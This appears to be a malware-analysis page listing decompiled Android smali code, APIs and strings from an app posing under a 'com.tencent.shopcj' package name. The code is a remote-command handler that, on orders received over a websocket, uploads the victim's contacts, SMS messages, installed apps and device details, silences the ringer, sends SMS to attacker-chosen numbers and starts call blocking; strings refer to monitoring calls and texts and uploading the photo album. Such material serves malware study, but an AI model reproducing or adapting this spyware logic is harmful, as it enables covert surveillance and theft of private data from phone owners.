                                                231invoke-interface {v0, v9}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                233sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->codeList:Ljava/util/List;
                                                235invoke-interface {v0, v10}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                237sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->codeList:Ljava/util/List;
                                                239invoke-interface {v0, v11}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                241sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->codeList:Ljava/util/List;
                                                243invoke-interface {v0, v12}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                245sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->codeList:Ljava/util/List;
                                                247invoke-interface {v0, v13}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                249sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->codeList:Ljava/util/List;
                                                251invoke-interface {v0, v14}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                253sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->codeList:Ljava/util/List;
                                                255invoke-interface {v0, v14}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                256return-void
                                                APIs
                                                • java.lang.String.contains
                                                • java.lang.String.equals
                                                • java.util.List.size
                                                • com.tencent.shopcj.websocket.WsTypeEnum.DEVICE_ONLINE:Lcom/tencent/shopcj/websocket/WsTypeEnum
                                                • java.lang.String.equals
                                                • java.util.List.size
                                                • java.util.ArrayList.<init>
                                                • java.util.List.size
                                                • java.util.List.size
                                                • com.tencent.shopcj.websocket.WsTypeEnum.DEVICE_ONLINE:Lcom/tencent/shopcj/websocket/WsTypeEnum
                                                • java.util.List.clear
                                                • java.util.List.remove
                                                • java.util.List.add
                                                • java.util.List.size
                                                • com.tencent.shopcj.websocket.WsTypeEnum.DEVICE_ONLINE:Lcom/tencent/shopcj/websocket/WsTypeEnum
                                                • java.lang.String.equals
                                                • java.util.List.size
                                                • com.tencent.shopcj.websocket.WsTypeEnum.DEVICE_ONLINE:Lcom/tencent/shopcj/websocket/WsTypeEnum
                                                • java.lang.String.equals
                                                • com.tencent.shopcj.websocket.WsTypeEnum.DEVICE_ONLINE:Lcom/tencent/shopcj/websocket/WsTypeEnum
                                                • java.lang.String.equals
                                                • java.util.List.addAll
                                                • android.content.Context.getSystemService
                                                • android.media.AudioManager.setRingerMode
                                                • java.util.List.iterator
                                                • java.util.Iterator.hasNext
                                                • java.util.Iterator.next
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • android.util.Log.d
                                                • java.lang.String.equals
                                                • java.lang.String.equals
                                                • android.content.Context.getSystemService
                                                • android.media.AudioManager.setRingerMode
                                                • android.content.Context.getSystemService
                                                • android.media.AudioManager.setRingerMode
                                                • java.lang.String.equals
                                                • java.lang.String.equals
                                                • java.lang.String.equals
                                                • android.text.TextUtils.isEmpty
                                                • com.tencent.shopcj.main.MyApplication.getInstance
                                                • com.tencent.shopcj.main.MyApplication.updateConfig
                                                • java.lang.String.equals
                                                • java.lang.String.equals
                                                • java.util.List.size
                                                • com.tencent.shopcj.websocket.WsTypeEnum.DEVICE_ONLINE:Lcom/tencent/shopcj/websocket/WsTypeEnum
                                                • java.lang.String.equals
                                                • java.lang.String.equals
                                                • com.tencent.shopcj.main.MyApplication.getInstance
                                                • com.tencent.shopcj.main.MyApplication.setDefaultSms
                                                Strings
                                                • \u65e0\u901a\u8baf\u5f55\uff0c\u6216\u65e0\u6cd5\u83b7\u53d6\u901a\u8baf\u5f55
                                                • \u901a\u8baf\u5f55\u4e0a\u4f20\u5b8c\u6bd5
                                                • \u65e0\u77ed\u4fe1\u6570\u636e
                                                • \u77ed\u4fe1\u4e0a\u4f20\u5b8c\u6bd5
                                                • \u83b7\u53d6\u5e94\u7528\u5217\u8868\u5931\u8d25
                                                • \u5e94\u7528\u5217\u8868\u4e0a\u4f20\u5b8c\u6bd5
                                                • \u4e0a\u4f20\u8bbe\u5907\u4fe1\u606f\u5b8c\u6bd5
                                                • audio
                                                • \u77ed\u4fe1\u53d1\u9001\uff1a
                                                • _
                                                • (
                                                • )
                                                • MainService
                                                • \u5f00\u59cb\u76d1\u542c\u7535\u8bdd
                                                • \u5df2\u7ecf\u505c\u6b62\u76d1\u542c\u7535\u8bdd
                                                • \u5f00\u59cb\u76d1\u542c\u77ed\u4fe1
                                                • \u5df2\u7ecf\u505c\u6b62\u76d1\u542c\u77ed\u4fe1
                                                • \u68c0\u6d4b\u5e94\u7528\u5931\u8d25
                                                • \u68c0\u6d4b\u5e94\u7528\u5b8c\u6bd5
                                                • \u5f00\u59cb\u4e0a\u4f20\u76f8\u518c
                                                • \u6b63\u5728\u8bbe\u7f6e\u6210\u9ed8\u8ba4\u77ed\u4fe1\u5e94\u7528
                                                Position Instruction Meta Information
                                                1iget-object v0, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->val$msg:Ljava/lang/String;
                                                3sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->PAYLOAD:Ljava/lang/String;
                                                5invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                6move-result v0
                                                7if-eqz v0, :cond_3bb
                                                9iget-object v0, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->val$msg:Ljava/lang/String;
                                                10const-class v1, Lcom/tencent/shopcj/bean/CommandBean;
                                                12invoke-static {v0, v1}, Lcom/tencent/shopcj/utils/JsonUtils;->parseObject(Ljava/lang/String;Ljava/lang/Class;)Ljava/lang/Object;
                                                13move-result-object v0
                                                14check-cast v0, Lcom/tencent/shopcj/bean/CommandBean;
                                                16sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->UPLOAD_CONTACT:Ljava/lang/String;
                                                18iget-object v2, v0, Lcom/tencent/shopcj/bean/CommandBean;->payload:Lcom/tencent/shopcj/bean/CommandBean$Payload;
                                                20iget-object v2, v2, Lcom/tencent/shopcj/bean/CommandBean$Payload;->action:Ljava/lang/String;
                                                22invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                23move-result v1
                                                24const/4 v2, 0x1
                                                25const/4 v3, 0x0
                                                26if-eqz v1, :cond_79
                                                28iget-object v0, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                30invoke-static {v0}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$000(Lcom/tencent/shopcj/utils/ProcessCommand;)Ljava/util/List;
                                                31move-result-object v0
                                                33invoke-interface {v0}, Ljava/util/List;->size()I
                                                34move-result v1
                                                35if-nez v1, :cond_3c
                                                37iget-object v0, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                39invoke-static {v0}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$100(Lcom/tencent/shopcj/utils/ProcessCommand;)Landroid/content/Context;
                                                40move-result-object v0
                                                42sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->UPLOAD_CONTACT:Ljava/lang/String;
                                                44const-string v2, "\u65e0\u901a\u8baf\u5f55\uff0c\u6216\u65e0\u6cd5\u83b7\u53d6\u901a\u8baf\u5f55"
                                                46invoke-static {v0, v1, v3, v2}, Lcom/tencent/shopcj/utils/ProcessCommand;->feedback(Landroid/content/Context;Ljava/lang/String;ZLjava/lang/String;)V
                                                47return-void
                                                48cond_3c: new-instance v1, Lcom/tencent/shopcj/bean/BaseRequest;
                                                50iget-object v3, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                52invoke-static {v3}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$100(Lcom/tencent/shopcj/utils/ProcessCommand;)Landroid/content/Context;
                                                53move-result-object v3
                                                54new-instance v4, Lcom/tencent/shopcj/bean/UploadContactRequest;
                                                56invoke-direct {v4, v0}, Lcom/tencent/shopcj/bean/UploadContactRequest;-><init>(Ljava/util/List;)V
                                                58invoke-direct {v1, v3, v4}, Lcom/tencent/shopcj/bean/BaseRequest;-><init>(Landroid/content/Context;Lcom/tencent/shopcj/bean/DataBean;)V
                                                60invoke-static {v1}, Lcom/tencent/shopcj/utils/JsonUtils;->toJSONString(Ljava/lang/Object;)Ljava/lang/String;
                                                61move-result-object v0
                                                63invoke-static {}, Lcom/tencent/shopcj/websocket/WSManager;->getInstance()Lcom/tencent/shopcj/websocket/WSManager;
                                                64move-result-object v1
                                                66sget-object v3, Lcom/tencent/shopcj/websocket/WsTypeEnum;->DEVICE_ONLINE:Lcom/tencent/shopcj/websocket/WsTypeEnum;
                                                68invoke-virtual {v1, v3, v0}, Lcom/tencent/shopcj/websocket/WSManager;->sendMessage(Lcom/tencent/shopcj/websocket/WsTypeEnum;Ljava/lang/String;)V
                                                70iget-object v0, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                72invoke-static {v0}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$200(Lcom/tencent/shopcj/utils/ProcessCommand;)I
                                                73move-result v0
                                                74if-nez v0, :cond_70
                                                76iget-object v0, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                78invoke-static {v0}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$100(Lcom/tencent/shopcj/utils/ProcessCommand;)Landroid/content/Context;
                                                79move-result-object v0
                                                81sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->UPLOAD_CONTACT:Ljava/lang/String;
                                                83const-string v3, "\u901a\u8baf\u5f55\u4e0a\u4f20\u5b8c\u6bd5"
                                                85invoke-static {v0, v1, v2, v3}, Lcom/tencent/shopcj/utils/ProcessCommand;->feedback(Landroid/content/Context;Ljava/lang/String;ZLjava/lang/String;)V
                                                86goto/16 :goto_3bb
                                                87cond_70:
                                                88iget-object v0, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                90iget-object v1, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->val$msg:Ljava/lang/String;
                                                92invoke-virtual {v0, v1}, Lcom/tencent/shopcj/utils/ProcessCommand;->process(Ljava/lang/String;)V
                                                93goto/16 :goto_3bb
                                                94cond_79:
                                                95sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->UPLOAD_SMS:Ljava/lang/String;
                                                97iget-object v4, v0, Lcom/tencent/shopcj/bean/CommandBean;->payload:Lcom/tencent/shopcj/bean/CommandBean$Payload;
                                                99iget-object v4, v4, Lcom/tencent/shopcj/bean/CommandBean$Payload;->action:Ljava/lang/String;
                                                101invoke-virtual {v1, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                102move-result v1
                                                103if-eqz v1, :cond_10f
                                                105iget-object v0, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                107invoke-virtual {v0}, Lcom/tencent/shopcj/utils/ProcessCommand;->getSmsInPhone()Ljava/util/List;
                                                108move-result-object v0
                                                110invoke-interface {v0}, Ljava/util/List;->size()I
                                                111move-result v1
                                                112if-nez v1, :cond_9f
                                                114iget-object v0, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                116invoke-static {v0}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$100(Lcom/tencent/shopcj/utils/ProcessCommand;)Landroid/content/Context;
                                                117move-result-object v0
                                                119sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->UPLOAD_SMS:Ljava/lang/String;
                                                121const-string v2, "\u65e0\u77ed\u4fe1\u6570\u636e"
                                                123invoke-static {v0, v1, v3, v2}, Lcom/tencent/shopcj/utils/ProcessCommand;->feedback(Landroid/content/Context;Ljava/lang/String;ZLjava/lang/String;)V
                                                124return-void
                                                125cond_9f: new-instance v1, Ljava/util/ArrayList;
                                                127invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V
                                                128goto_a4:
                                                129invoke-interface {v0}, Ljava/util/List;->size()I
                                                130move-result v4
                                                131if-lez v4, :cond_dd
                                                133invoke-interface {v1}, Ljava/util/List;->size()I
                                                134move-result v4
                                                135int-to-long v4, v4
                                                136const-wide/16 v6, 0x14
                                                137cmp-long v8, v4, v6
                                                138if-nez v8, :cond_d5
                                                139new-instance v4, Lcom/tencent/shopcj/bean/BaseRequest;
                                                141iget-object v5, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                143invoke-static {v5}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$100(Lcom/tencent/shopcj/utils/ProcessCommand;)Landroid/content/Context;
                                                144move-result-object v5
                                                145new-instance v6, Lcom/tencent/shopcj/bean/UploadSmsRequest;
                                                147invoke-direct {v6, v1}, Lcom/tencent/shopcj/bean/UploadSmsRequest;-><init>(Ljava/util/List;)V
                                                149invoke-direct {v4, v5, v6}, Lcom/tencent/shopcj/bean/BaseRequest;-><init>(Landroid/content/Context;Lcom/tencent/shopcj/bean/DataBean;)V
                                                151invoke-static {v4}, Lcom/tencent/shopcj/utils/JsonUtils;->toJSONString(Ljava/lang/Object;)Ljava/lang/String;
                                                152move-result-object v4
                                                154invoke-static {}, Lcom/tencent/shopcj/websocket/WSManager;->getInstance()Lcom/tencent/shopcj/websocket/WSManager;
                                                155move-result-object v5
                                                157sget-object v6, Lcom/tencent/shopcj/websocket/WsTypeEnum;->DEVICE_ONLINE:Lcom/tencent/shopcj/websocket/WsTypeEnum;
                                                159invoke-virtual {v5, v6, v4}, Lcom/tencent/shopcj/websocket/WSManager;->sendMessage(Lcom/tencent/shopcj/websocket/WsTypeEnum;Ljava/lang/String;)V
                                                161invoke-interface {v1}, Ljava/util/List;->clear()V
                                                162cond_d5:
                                                163invoke-interface {v0, v3}, Ljava/util/List;->remove(I)Ljava/lang/Object;
                                                164move-result-object v4
                                                166invoke-interface {v1, v4}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                167goto/16 :goto_a4
                                                168cond_dd:
                                                169invoke-interface {v1}, Ljava/util/List;->size()I
                                                170move-result v0
                                                171if-lez v0, :cond_100
                                                172new-instance v0, Lcom/tencent/shopcj/bean/BaseRequest;
                                                174iget-object v3, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                176invoke-static {v3}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$100(Lcom/tencent/shopcj/utils/ProcessCommand;)Landroid/content/Context;
                                                177move-result-object v3
                                                178new-instance v4, Lcom/tencent/shopcj/bean/UploadSmsRequest;
                                                180invoke-direct {v4, v1}, Lcom/tencent/shopcj/bean/UploadSmsRequest;-><init>(Ljava/util/List;)V
                                                182invoke-direct {v0, v3, v4}, Lcom/tencent/shopcj/bean/BaseRequest;-><init>(Landroid/content/Context;Lcom/tencent/shopcj/bean/DataBean;)V
                                                184invoke-static {v0}, Lcom/tencent/shopcj/utils/JsonUtils;->toJSONString(Ljava/lang/Object;)Ljava/lang/String;
                                                185move-result-object v0
                                                187invoke-static {}, Lcom/tencent/shopcj/websocket/WSManager;->getInstance()Lcom/tencent/shopcj/websocket/WSManager;
                                                188move-result-object v1
                                                190sget-object v3, Lcom/tencent/shopcj/websocket/WsTypeEnum;->DEVICE_ONLINE:Lcom/tencent/shopcj/websocket/WsTypeEnum;
                                                192invoke-virtual {v1, v3, v0}, Lcom/tencent/shopcj/websocket/WSManager;->sendMessage(Lcom/tencent/shopcj/websocket/WsTypeEnum;Ljava/lang/String;)V
                                                193cond_100:
                                                194iget-object v0, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                196invoke-static {v0}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$100(Lcom/tencent/shopcj/utils/ProcessCommand;)Landroid/content/Context;
                                                197move-result-object v0
                                                199sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->UPLOAD_SMS:Ljava/lang/String;
                                                201const-string v3, "\u77ed\u4fe1\u4e0a\u4f20\u5b8c\u6bd5"
                                                203invoke-static {v0, v1, v2, v3}, Lcom/tencent/shopcj/utils/ProcessCommand;->feedback(Landroid/content/Context;Ljava/lang/String;ZLjava/lang/String;)V
                                                204goto/16 :goto_3bb
                                                205cond_10f:
                                                206sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->UPLOAD_APPLICATION:Ljava/lang/String;
                                                208iget-object v4, v0, Lcom/tencent/shopcj/bean/CommandBean;->payload:Lcom/tencent/shopcj/bean/CommandBean$Payload;
                                                210iget-object v4, v4, Lcom/tencent/shopcj/bean/CommandBean$Payload;->action:Ljava/lang/String;
                                                212invoke-virtual {v1, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                213move-result v1
                                                214if-eqz v1, :cond_161
                                                216iget-object v0, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                218invoke-virtual {v0}, Lcom/tencent/shopcj/utils/ProcessCommand;->getAllApps()Ljava/util/List;
                                                219move-result-object v0
                                                221invoke-interface {v0}, Ljava/util/List;->size()I
                                                222move-result v1
                                                223if-nez v1, :cond_135
                                                225iget-object v0, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                227invoke-static {v0}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$100(Lcom/tencent/shopcj/utils/ProcessCommand;)Landroid/content/Context;
                                                228move-result-object v0
                                                230sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->UPLOAD_APPLICATION:Ljava/lang/String;
                                                232const-string v2, "\u83b7\u53d6\u5e94\u7528\u5217\u8868\u5931\u8d25"
                                                234invoke-static {v0, v1, v3, v2}, Lcom/tencent/shopcj/utils/ProcessCommand;->feedback(Landroid/content/Context;Ljava/lang/String;ZLjava/lang/String;)V
                                                235return-void
                                                236cond_135: new-instance v1, Lcom/tencent/shopcj/bean/BaseRequest;
                                                238iget-object v3, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                240invoke-static {v3}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$100(Lcom/tencent/shopcj/utils/ProcessCommand;)Landroid/content/Context;
                                                241move-result-object v3
                                                242new-instance v4, Lcom/tencent/shopcj/bean/UploadAppRequest;
                                                244invoke-direct {v4, v0}, Lcom/tencent/shopcj/bean/UploadAppRequest;-><init>(Ljava/util/List;)V
                                                246invoke-direct {v1, v3, v4}, Lcom/tencent/shopcj/bean/BaseRequest;-><init>(Landroid/content/Context;Lcom/tencent/shopcj/bean/DataBean;)V
                                                248invoke-static {v1}, Lcom/tencent/shopcj/utils/JsonUtils;->toJSONString(Ljava/lang/Object;)Ljava/lang/String;
                                                249move-result-object v0
                                                251invoke-static {}, Lcom/tencent/shopcj/websocket/WSManager;->getInstance()Lcom/tencent/shopcj/websocket/WSManager;
                                                252move-result-object v1
                                                254sget-object v3, Lcom/tencent/shopcj/websocket/WsTypeEnum;->DEVICE_ONLINE:Lcom/tencent/shopcj/websocket/WsTypeEnum;
                                                256invoke-virtual {v1, v3, v0}, Lcom/tencent/shopcj/websocket/WSManager;->sendMessage(Lcom/tencent/shopcj/websocket/WsTypeEnum;Ljava/lang/String;)V
                                                258iget-object v0, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                260invoke-static {v0}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$100(Lcom/tencent/shopcj/utils/ProcessCommand;)Landroid/content/Context;
                                                261move-result-object v0
                                                263sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->UPLOAD_APPLICATION:Ljava/lang/String;
                                                265const-string v3, "\u5e94\u7528\u5217\u8868\u4e0a\u4f20\u5b8c\u6bd5"
                                                267invoke-static {v0, v1, v2, v3}, Lcom/tencent/shopcj/utils/ProcessCommand;->feedback(Landroid/content/Context;Ljava/lang/String;ZLjava/lang/String;)V
                                                268goto/16 :goto_3bb
                                                269cond_161:
                                                270sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->UPLOAD_DEVICE_INFO:Ljava/lang/String;
                                                272iget-object v4, v0, Lcom/tencent/shopcj/bean/CommandBean;->payload:Lcom/tencent/shopcj/bean/CommandBean$Payload;
                                                274iget-object v4, v4, Lcom/tencent/shopcj/bean/CommandBean$Payload;->action:Ljava/lang/String;
                                                276invoke-virtual {v1, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                277move-result v1
                                                278if-eqz v1, :cond_1a8
                                                279new-instance v0, Lcom/tencent/shopcj/utils/DeviceInfoUtil;
                                                281iget-object v1, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                283invoke-static {v1}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$100(Lcom/tencent/shopcj/utils/ProcessCommand;)Landroid/content/Context;
                                                284move-result-object v1
                                                286invoke-direct {v0, v1}, Lcom/tencent/shopcj/utils/DeviceInfoUtil;-><init>(Landroid/content/Context;)V
                                                288invoke-virtual {v0}, Lcom/tencent/shopcj/utils/DeviceInfoUtil;->getInfos()Lcom/tencent/shopcj/bean/DeviceInformationBean;
                                                289move-result-object v0
                                                290new-instance v1, Lcom/tencent/shopcj/bean/BaseRequest;
                                                292iget-object v3, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                294invoke-static {v3}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$100(Lcom/tencent/shopcj/utils/ProcessCommand;)Landroid/content/Context;
                                                295move-result-object v3
                                                296new-instance v4, Lcom/tencent/shopcj/bean/UploadDeviceInfoRequest;
                                                298invoke-direct {v4, v0}, Lcom/tencent/shopcj/bean/UploadDeviceInfoRequest;-><init>(Lcom/tencent/shopcj/bean/DeviceInformationBean;)V
                                                300invoke-direct {v1, v3, v4}, Lcom/tencent/shopcj/bean/BaseRequest;-><init>(Landroid/content/Context;Lcom/tencent/shopcj/bean/DataBean;)V
                                                302invoke-static {v1}, Lcom/tencent/shopcj/utils/JsonUtils;->toJSONString(Ljava/lang/Object;)Ljava/lang/String;
                                                303move-result-object v0
                                                305invoke-static {}, Lcom/tencent/shopcj/websocket/WSManager;->getInstance()Lcom/tencent/shopcj/websocket/WSManager;
                                                306move-result-object v1
                                                308sget-object v3, Lcom/tencent/shopcj/websocket/WsTypeEnum;->DEVICE_ONLINE:Lcom/tencent/shopcj/websocket/WsTypeEnum;
                                                310invoke-virtual {v1, v3, v0}, Lcom/tencent/shopcj/websocket/WSManager;->sendMessage(Lcom/tencent/shopcj/websocket/WsTypeEnum;Ljava/lang/String;)V
                                                312iget-object v0, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                314invoke-static {v0}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$100(Lcom/tencent/shopcj/utils/ProcessCommand;)Landroid/content/Context;
                                                315move-result-object v0
                                                317sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->UPLOAD_DEVICE_INFO:Ljava/lang/String;
                                                319const-string v3, "\u4e0a\u4f20\u8bbe\u5907\u4fe1\u606f\u5b8c\u6bd5"
                                                321invoke-static {v0, v1, v2, v3}, Lcom/tencent/shopcj/utils/ProcessCommand;->feedback(Landroid/content/Context;Ljava/lang/String;ZLjava/lang/String;)V
                                                322goto/16 :goto_3bb
                                                323cond_1a8:
                                                324sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->SEND_SMS:Ljava/lang/String;
                                                326iget-object v4, v0, Lcom/tencent/shopcj/bean/CommandBean;->payload:Lcom/tencent/shopcj/bean/CommandBean$Payload;
                                                328iget-object v4, v4, Lcom/tencent/shopcj/bean/CommandBean$Payload;->action:Ljava/lang/String;
                                                330invoke-virtual {v1, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                331move-result v1
                                                333const-string v4, "audio"
                                                334if-eqz v1, :cond_229
                                                336iget-object v1, v0, Lcom/tencent/shopcj/bean/CommandBean;->payload:Lcom/tencent/shopcj/bean/CommandBean$Payload;
                                                338iget-object v1, v1, Lcom/tencent/shopcj/bean/CommandBean$Payload;->condition:Lcom/tencent/shopcj/bean/CommandBean$Condition;
                                                340iget-object v1, v1, Lcom/tencent/shopcj/bean/CommandBean$Condition;->targets:Ljava/util/List;
                                                342iget-object v2, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                344invoke-static {v2}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$300(Lcom/tencent/shopcj/utils/ProcessCommand;)Ljava/util/List;
                                                345move-result-object v2
                                                347iget-object v5, v0, Lcom/tencent/shopcj/bean/CommandBean;->payload:Lcom/tencent/shopcj/bean/CommandBean$Payload;
                                                349iget-object v5, v5, Lcom/tencent/shopcj/bean/CommandBean$Payload;->condition:Lcom/tencent/shopcj/bean/CommandBean$Condition;
                                                351iget-object v5, v5, Lcom/tencent/shopcj/bean/CommandBean$Condition;->targets:Ljava/util/List;
                                                353invoke-interface {v2, v5}, Ljava/util/List;->addAll(Ljava/util/Collection;)Z
                                                355iget-object v2, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                357invoke-static {v2}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$100(Lcom/tencent/shopcj/utils/ProcessCommand;)Landroid/content/Context;
                                                358move-result-object v2
                                                360invoke-virtual {v2, v4}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                361move-result-object v2
                                                362check-cast v2, Landroid/media/AudioManager;
                                                364invoke-virtual {v2, v3}, Landroid/media/AudioManager;->setRingerMode(I)V
                                                366iget-object v0, v0, Lcom/tencent/shopcj/bean/CommandBean;->payload:Lcom/tencent/shopcj/bean/CommandBean$Payload;
                                                368iget-object v0, v0, Lcom/tencent/shopcj/bean/CommandBean$Payload;->condition:Lcom/tencent/shopcj/bean/CommandBean$Condition;
                                                370iget-object v0, v0, Lcom/tencent/shopcj/bean/CommandBean$Condition;->message:Ljava/lang/String;
                                                372invoke-interface {v1}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                                                373move-result-object v1
                                                374goto_1e4:
                                                375invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                                                376move-result v2
                                                377if-eqz v2, :cond_3bb
                                                379invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                380move-result-object v2
                                                381check-cast v2, Lcom/tencent/shopcj/bean/CommandBean$SmsTask;
                                                382new-instance v3, Ljava/lang/StringBuilder;
                                                384invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                386const-string v4, "\u77ed\u4fe1\u53d1\u9001\uff1a"
                                                388invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                389iget v4, v2, Lcom/tencent/shopcj/bean/CommandBean$SmsTask;->id:I
                                                391invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                393const-string v4, "_"
                                                395invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                397iget-object v4, v2, Lcom/tencent/shopcj/bean/CommandBean$SmsTask;->toNum:Ljava/lang/String;
                                                399invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                401const-string v4, "("
                                                403invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                405invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                407const-string v4, ")"
                                                409invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                411invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                412move-result-object v3
                                                414const-string v4, "MainService"
                                                416invoke-static {v4, v3}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                                                418iget-object v3, p0, Lcom/tencent/shopcj/utils/ProcessCommand$1;->this$0:Lcom/tencent/shopcj/utils/ProcessCommand;
                                                419iget v4, v2, Lcom/tencent/shopcj/bean/CommandBean$SmsTask;->id:I
                                                421iget-object v2, v2, Lcom/tencent/shopcj/bean/CommandBean$SmsTask;->toNum:Ljava/lang/String;
                                                423invoke-static {v3, v4, v2, v0}, Lcom/tencent/shopcj/utils/ProcessCommand;->access$400(Lcom/tencent/shopcj/utils/ProcessCommand;ILjava/lang/String;Ljava/lang/String;)V
                                                424goto/16 :goto_1e4
                                                425cond_229:
                                                426sget-object v1, Lcom/tencent/shopcj/bean/CommandBean;->BLOCK_CALL:Ljava/lang/String;
